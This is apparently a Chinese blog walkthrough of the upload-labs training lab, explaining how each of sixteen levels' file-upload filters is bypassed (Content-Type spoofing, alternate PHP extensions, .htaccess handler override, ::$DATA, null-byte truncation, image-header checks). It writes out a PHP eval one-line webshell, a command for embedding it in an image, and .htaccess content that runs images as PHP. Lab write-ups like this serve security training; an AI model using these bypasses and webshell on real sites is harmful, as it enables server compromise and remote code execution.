目录
第一关 js检查
第二关 Content-Type
第三关 黑名单验证
第四关 黑名单验证(.htaccess绕过)
第五关 黑名单验证(.user.ini)
第六关 空格绕过
第七关 点绕过
第八关 ::$DATA绕过
第九关 .空格.绕过
第十一关 文件路径%00截断
第十二关 文件路径0x00截断
第十三关 文件头检测
查看源码
![](https://img-blog.csdnimg.cn/d12bb80806c9493f8fdb2e4305979b6f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
由源代码可知,允许上传的文件为.jpg|.png|.gif
我们上传一个.jpg文件
![](https://img-blog.csdnimg.cn/3a73a3c7079c42ffaf5f7d56dd07676f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_11,color_FFFFFF,t_70,g_se,x_16)
利用burp suite进行抓包
![](https://img-blog.csdnimg.cn/cb0a6000c1f944d5b8f960091bd66874.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_19,color_FFFFFF,t_70,g_se,x_16)
将jpg改为php后,放包
![](https://img-blog.csdnimg.cn/bf23de312a1d463ab7a9b6681ed889e7.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_15,color_FFFFFF,t_70,g_se,x_16)
上传成功。
第二关 Content-Type
查看源码
![](https://img-blog.csdnimg.cn/d1a2f3aca1a44a1c9cffa60fc10778d2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
有源码可知,发现只判断Content-Type类型,所以我们只需修改Content-Type进行绕过即可
首先上传php文件,抓上传包
![](https://img-blog.csdnimg.cn/480aa23eaf66450590acf6749070f1ea.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_13,color_FFFFFF,t_70,g_se,x_16)
![](https://img-blog.csdnimg.cn/f5c3854741d8420383b003a50c1d364d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
将箭头所指的内容改为image/jpeg或image/png或image/gif后,放包,文件即上传成功!
![](https://img-blog.csdnimg.cn/6d07e2164bcf4b9d8c2efac8098984b5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_17,color_FFFFFF,t_70,g_se,x_16)
第三关 黑名单验证
查看源代码
![](https://img-blog.csdnimg.cn/61f27d8a9ab1433495de5f20799d7de2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
由源码可知,本关不允许上传.asp,.aspx,.php,.jsp类型的文件
我们可以通过不常见的php扩展名绕过黑名单的限制
比如.phtml,.php3,.php4,.php5
![](https://img-blog.csdnimg.cn/7945f52a5f0b4ef4a04f249f37ffe6f4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_13,color_FFFFFF,t_70,g_se,x_16)
第四关 黑名单验证(.htaccess绕过)
查看源码
![](https://img-blog.csdnimg.cn/355150cc0492424f83a07e450f620129.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
源码可知,黑名单拒绝了所有格式的文件后缀名,除了.htaccess
所以此关通过.htaccess绕过进行上传
首先,上传一个.htaccess文件
内容为:SetHandler application/x-httpd-php
文件命名为:.htaccess
![](https://img-blog.csdnimg.cn/2c89f717b995471287fac108630b9df3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_17,color_FFFFFF,t_70,g_se,x_16)
接下来,上传一个.jpg文件
内容为:<?php
phpinfo();
?>
文件命名为:0.jpg(文件名自己定义)
上传即可。
![](https://img-blog.csdnimg.cn/3c827786738645d5b8e072a48565d8eb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_17,color_FFFFFF,t_70,g_se,x_16)
第五关 黑名单验证(.user.ini)
![](https://img-blog.csdnimg.cn/ade05f82f8224cd389078dcb6d0aad13.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
这一关和上一关差不多,只不过这一关加上了对.htaccess的禁止,但是没有将后缀进行大小写统一
我们用burp抓包将filename="12345.php"改为filename="12345.PHP"就可以了
![](https://img-blog.csdnimg.cn/789b3d742e1c42938b25e13c252be75d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_13,color_FFFFFF,t_70,g_se,x_16)
第六关 空格绕过
![](https://img-blog.csdnimg.cn/7ef16c6bd4e644e1889a8ffe19fa94f4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_12,color_FFFFFF,t_70,g_se,x_16)
看完提示发现和源码,可以看到上面的方法都不可行
这时候就需要普及一个知识:Win下xx.jpg空格和xx.jpg.两种文件是不被允许存在的,要是这样命名文件,windows系统会默认删除空格或者.
在这里系统默认删除的的文件中的.
所以我们用burp抓包将filename="12345.php"改为filename="12345.php "(12345.php空格)
![](https://img-blog.csdnimg.cn/1f281188c35f454da0031ee152fe488f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_13,color_FFFFFF,t_70,g_se,x_16)
第七关 点绕过
![](https://img-blog.csdnimg.cn/379a6b3f649b465686d434dbb5487225.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_15,color_FFFFFF,t_70,g_se,x_16)
查看源码
![](https://img-blog.csdnimg.cn/9f5691c0893144d79801381fa80528b2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
分析代码,有去空格和所以黑名单,但是没有去点。
我们只需要利用burp抓包加个点即可
![](https://img-blog.csdnimg.cn/f120f5f623d942ed8992822998d2516f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_14,color_FFFFFF,t_70,g_se,x_16)
第八关 ::$DATA绕过
查看源码
![](https://img-blog.csdnimg.cn/2c4a85584af84a3aaec9b4d688e65bf2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
分析源码可知,之前所有的点这关都有防范
NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。
本关中的黑名单没有去处后缀名中的“::$DATA”
利用burp抓包,在文件后缀处加上::$DATA
![](https://img-blog.csdnimg.cn/af724bd44a354c639d884038cfa8fd15.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_19,color_FFFFFF,t_70,g_se,x_16)
![](https://img-blog.csdnimg.cn/8226f7e900904646b4bfbca390666a83.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_14,color_FFFFFF,t_70,g_se,x_16)
第九关 .空格.绕过
查看提示
![](https://img-blog.csdnimg.cn/c22e325a1f2d4330b6f20fd6047c9390.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_12,color_FFFFFF,t_70,g_se,x_16)
查看源码
上传文件名后加上点+空格+点,改为12345.php. .
![](https://img-blog.csdnimg.cn/97136b9b4d9747f39d40e74d65ba6679.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_12,color_FFFFFF,t_70,g_se,x_16)
第十关 双写文件名绕过
上传文件,burp抓包
![](https://img-blog.csdnimg.cn/738d1f06b6d845e4b366ecdfc0b10e26.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_19,color_FFFFFF,t_70,g_se,x_16)
将箭头处改为.phpphp
![](https://img-blog.csdnimg.cn/edb01c85c39840abaff009af08c0e9d9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_13,color_FFFFFF,t_70,g_se,x_16)
第十一关 文件路径%00截断
查看源代码
![](https://img-blog.csdnimg.cn/864090942f6d4427a2e82684f57b45c3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
从代码中可以发现红线处,对上传的文件名进行重新拼接,使用$_GET传参
可以通过%00进行截断上传
上传.php文件
使用burpsuite抓包
![](https://img-blog.csdnimg.cn/e07fc23089634427a15d864828cd0c26.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_16,color_FFFFFF,t_70,g_se,x_16)
在.php后增加%00.jpg,放包
![](https://img-blog.csdnimg.cn/c909b4d03bba4065b18786298746fc52.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_12,color_FFFFFF,t_70,g_se,x_16)
第十二关 文件路径0x00截断
查看源码
![](https://img-blog.csdnimg.cn/0eecf25936f84fed99eb660abc36d154.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
上传文件123.jpg,buropsuite进行抓包
,箭头处添加/.jpg%00放包
![](https://img-blog.csdnimg.cn/834f4cbd39b043ae97e472c9be054dba.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
![](https://img-blog.csdnimg.cn/6bdc9e4e792c4006a470c8912f7b839a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_13,color_FFFFFF,t_70,g_se,x_16)
第十三关 文件头检测
制作图片马
将图片和一句话木马放在一个文件夹下
一句话木马为: <?php @eval($_POST['attack']);?>
进行合成,命令如下
copy 1123.jpg /b + 222.txt /a 2.jpg
上传图片马
![](https://img-blog.csdnimg.cn/b6d1a10d58424efab8b5ad78f10dce91.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_12,color_FFFFFF,t_70,g_se,x_16)
第十四关 getimagesize()检测
同十三关,这一关是用getimagesize函数来判断文件类型,但是还是可以用图片码绕过
第十五关 exif_imagetype()检测
png图片webshell上传同Pass-13。
jpg/jpeg图片webshell上传同Pass-13。
第十六关 突破二次渲染
上传图片马
![](https://img-blog.csdnimg.cn/f7845f2384c844eeb5a5a25ce33bf172.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_11,color_FFFFFF,t_70,g_se,x_16)
使用burpsuite拦截
在图片尾部插入一句话木马,密码是123
放包
![](https://img-blog.csdnimg.cn/285cf221592a431a99caeea66d0e9e4c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAc2hheWVidWRvbg==,size_15,color_FFFFFF,t_70,g_se,x_16)